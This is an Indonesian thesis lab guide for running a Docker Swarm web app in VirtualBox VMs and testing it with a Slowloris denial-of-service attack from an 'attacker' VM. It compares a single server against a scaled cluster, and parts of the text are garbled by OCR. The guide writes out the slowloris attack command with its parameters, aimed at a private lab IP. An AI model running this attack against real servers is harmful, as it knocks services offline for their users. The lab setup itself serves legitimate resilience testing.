Cara menjalankan program

- 1. Install Virtualbox
- 2. Jalankan virtualbox kemudian import data manager, worker1, worker2 dan attacker.
- 3. Untuk menjalankan single server jalankan manager dan attacker.
- 4. Jika sudah berada pada manager masukan user dan password, kemudian ketikan perintah start untuk memulai.

```
Last login: Thu Feb 25 13:22:08 2021
2diky@osboxes:~$ start
Creating network skripsi_overlay
Creating service skripsi_web
Creating service skripsi mysql
```

5. Kemudian ketikan perintah docker ps agar muncul mysql yang akan dicopy.

diky@osboxes:~\$ docker ps							
CONTAINER ID	ID IMAGE		COMMAND			CREA	ł
TED	ST	ATUS	PORTS		NAMES		l
08e6b305bf1c		mitlabs/apache-p	php7.2:latest	"/usr/sl	oin/apache2ct…"	8 mi	l
nutes ago	Up	8 minutes	80/tcp, 443/tcp)	skripsi_web.1.vm	jqh76	l
9b91cd4yfwty6bev	vb3						l
1e20e22162f9		mariadb:latest		"docker-	-entrypoint.s"	8 mi	l
nutes ago	Up	8 minutes	3306/tcp		skripsi_mysql.1.	0vxud	
a6ebta57imjotego	o45j	pa					l
6a5bb0e172ff		zthomaz/coba:2.	0	"/docker	r-entrypoint"	2 mo	
nths ago	Up	11 minutes	0.0.0.8080->8	30/tcp	coba4		l
5c3acdcdb220		zthomaz/coba:2.	D	"/docker	r-entrypoint"	2 mo	
nths ago	Up	11 minutes	0.0.0.0:80->80/	/tcp	coba		
	_						

- 6. Copy skripsi_mysql dan ketikan perintah change.
- 7. Kemudian paste pada tanda kuning yang diberikan, kemudian ctrl + X dan pilih YA untuk menyimpan



8. Jika telah berhasil buka halaman web dengan cara mengetikan ip yang sudah di atur yaitu 192.168.43.120.



9. Login web (user dan password "admin")

Silahkan lanjut nutuk mendaftar



10. Langkah selanjutnya adalah jalankan attacker dan lakukan perintah attack dengan perintah " slowloris -c 2000 -l 30 -r 10 -u http://192.168.43.120/user.php "

```
diky@osboxes:~$ slowloris -c 2000 -l 30 -r 10 -u http://192.168.43.120/user.php /
Thu Feb 25 13:44:00 2021: set open files limit to 2010
Thu Feb 25 13:44:00 2021:
Thu Feb 25 13:44:00 2021:
test type:
                                SLOW HEADERS
number of connections:
                                2000
URL:
                                http://192.168.43.120/user.php
verb:
                                GET
                             4096
Content-Length header value:
follow up data max size:
                                28
interval between follow up data: 10 seconds
connections per seconds:
                                10
probe connection timeout:
                                2 seconds
test duration:
                                30 seconds
using proxy:
                                no proxy
```

11. Setelah perintah attack selesai untuk melihat tampilan grafik yang muncul langkah pertama yang dilakukan yaitu masukan perintah start pada attacker.

```
diky@osboxes:~$ start
Sending build context to Docker daemon 91.14kB
Step 1/2 : FROM httpd:2.4
---> 683a7aad17d3
Step 2/2 : COPY ./index.html /usr/local/apache2/htdocs/
---> 8cd4955d111f
Successfully built 8cd4955d111f
Successfully built 8cd4955d111f
Successfully tagged skripsi:latest
d67c1f1b0b71ee6f7a7b9c3346c6197944ecadda3bc9c7e68655f86394f1e9ef
```

12. Kemudian buka web dengan alamat ip attacker yaitu 192.168.43.123.





13. Untuk melakukan uji coba attack selanjutnya, masukan perintah stop pada attacker

diky@osboxes:~\$ stop d67c1f1b0b71 d67c1f1b0b71 14. Jika telah selesai melakukan uji coba attack dan ingin menghentikan web, ketikan stop pada manager.

```
diky@osboxes:~$ stop
Removing service skripsi_mysql
Removing service skripsi_web
Removing network skripsi overlay
```

- 15. Menjalankan cluster server yang dijalankan adalah manager, worker1, worker2 dan attacker.
- 16. Langkah awal yang dilakukan pada manager sama seperti langkah pada single server.
- 17. Untuk mengecek service yang berjalan masukan perintah docker service ls.

diky@osboxes:~\$ docl	ker service ls		
ID	NAME	MODE	REPLICAS
IMAGE	PORTS		
j2aqa5kfs3ty	skripsi_mysql	replicated	1/1
mariadb:latest	*:8889->3	3306/tcp	
w1vxdkayzgsm	skripsi_web	replicated	1/1
mitlabs/apache-php7.	.2:latest *:80->80,	/tcp	

18. Melihat node yang aktif, menggunakan perintah docker node ls.

دky@osboxes:~\$ docker node ls					
ID	HOSTNAME	STATUS	AVAILABILITY	MANAGER STATUS	
ENGINE VERSION					
uyvmcuszgclzu9p1nwqt7ketf	osboxes	Ready	Active		
19.03.5					
vspqlpbi6qw35oakl6efyhpvi	osboxes	Ready	Active		
19.03.5					
y02wszzu0u3w0a1qkiy2q14e1 *	osboxes	Ready	Active	Leader	
19.03.5					

19. Melakukan scale dilakukan dengan perintah scale 3

```
skripsi_web scaled to 3
overall progress: 3 out of 3 tasks
1/3: running
2/3: running
3/3: running
verify: Service converged
```

20. Perintah attack sama seperti perintah pada attack di single server.